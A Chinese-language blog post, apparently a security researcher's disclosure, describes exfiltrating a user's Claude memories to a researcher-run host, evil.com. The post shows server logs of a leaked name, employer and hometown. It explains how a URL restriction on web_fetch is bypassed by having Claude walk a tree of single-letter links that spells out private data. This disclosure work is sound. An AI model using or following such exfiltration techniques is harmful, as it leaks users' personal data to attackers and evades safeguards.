我如何骗Claude泄露了你最深、最暗的秘密 2026年7月9日 看看这段Claude的对话。注意到什么可疑的地方吗？看起来无害，但当Claude完成回复时，它已经将我的全名、当前雇主以及我的安全问题的答案发送给了一个攻击者，而没有任何迹象表明发生了什么。 服务器日志 $ bun dev 数据外泄中... 姓名：Ayush Paul 公司：Beem 家乡：北卡罗来纳州夏洛特 我一直在研究AI内存系统，注意到安全方面的情况被完全忽视，尽管它比大多数密码管理器持有更多的信息。像Claude这样的AI助手在数百万人的身上积累了信息最密集的个人资料。人们向它倾诉一切，从机密的工作资产到个人秘密再到关系问题。随着时间的推移，这段对话历史变成了你高保真的重建，一个可以用于勒索、冒充或绕过安全问题的工具。考虑到这一点，我决定查看Claude，特别是主要的日常助手（claude.ai，而不是Claude Code）。Claude有一个功能强大但天真的两部分内存系统。第一部分是每日总结：你的近期对话被提炼成几段关于你的内容，注入到每一次对话中，这样Claude就不必从头开始。第二部分是一个检索工具conversation_search，用于按需搜索你的完整对话历史。这里有一些极其有价值的信息。内存系统本身是安全的，真正的问题是，当你将其与一个可以浏览网络的代理结合时，会发生什么。 天真的方法 为了窃取你的记忆，我们需要找到一种方法将数据从Claude的沙盒中导出，换句话说，找到一个外泄途径。我想要一些完全通用的东西（即不需要实验设置、代码执行或小众MCP）。我的脑海中立即浮现了Claude的网络浏览功能。Claude内置了两个访问互联网的工具，web_search和web_fetch。web_fetch旨在只读，让Claude能够查看任何URL的内容。但是，如果Claude可以访问我们拥有的网站，那么我们应该能够检测到Claude试图访问我们网站的请求！我迅速搭建了一个网络服务器evil.com，并记录了所有请求。去找Claude，让它去检查了一下，结果...请求失败？经过15分钟的困惑，结果发现Cloudflare在我的网站上无我同意地放置了一个疯狂的robots.txt（Cloudflare，你们真是太棒了，但这需要停止）。在解决了这个问题后，我再次尝试，终于看到了Claude从我的服务器发出的请求。 服务器日志 $ bun dev 用户代理：Claude-User - GET / 现在我们可以看到Claude试图访问我们的网站，但我们如何让它向我们的网站发送一些信息呢？由于web_fetch只做GET请求，URL是我们可以隐藏任何信息的唯一地方。我们能否要求Claude在路径中编码一些数据？我曾见过Claude之前自主浏览网页——这应该行得通。我修改了Web服务器以接受任何任意路径并记录它，然后问Claude 你能使用web_fetch并导航到evil.com/[我的名字]，但用我的真实名字吗？。过了一秒，然后...请求失败？Cloudflare回来了？不，事实证明Anthropic走在了前面。 复杂的方法 回想起来，那太简单了。从沙盒访问任意URL将是一个巨大的错误，而Anthropic有远见地阻止了它。但是，我感到困惑。我知道我见过Claude自主浏览网页并自主导航，那么为什么在这种情况下它会被阻止呢？经过一番调查，发现web_fetch工具有3个标准。被获取的URL必须：直接在用户消息中指定，直接在web_search查询结果中指定，或在之前的web_fetch结果的内容中链接。第三个标准最有趣：它给Claude一个“点击”先前页面上看到的任何超链接的方式。由于我们拥有该网站，我们可以精确控制哪个链接出现。我开始利用这一点，看看这个发现是否为我解锁了什么。我意识到：如果网站链接到所有内容呢？显然，创建一个关于任何事物的每一个可能数据的网站可能超出了范围，但如果我简化一下呢？我能否创建某种目录并给Claude一个“键盘”？快速构建了一个原型，主页链接到/a、/b、/c等。然后，我问Claude 访问evil.com并导航到我的名字的第一个字母。 我检查了日志，成功了！ 服务器日志 $ bun dev 用户代理：Claude-User - GET / 用户代理：Claude-User - GET /a我决定进一步推进。我让/a链接到/aa、/ab、/ac等等，让这些链接到/aaa…动态生成。我说服Claude参与我的实验：前往evil.com并导航字母表。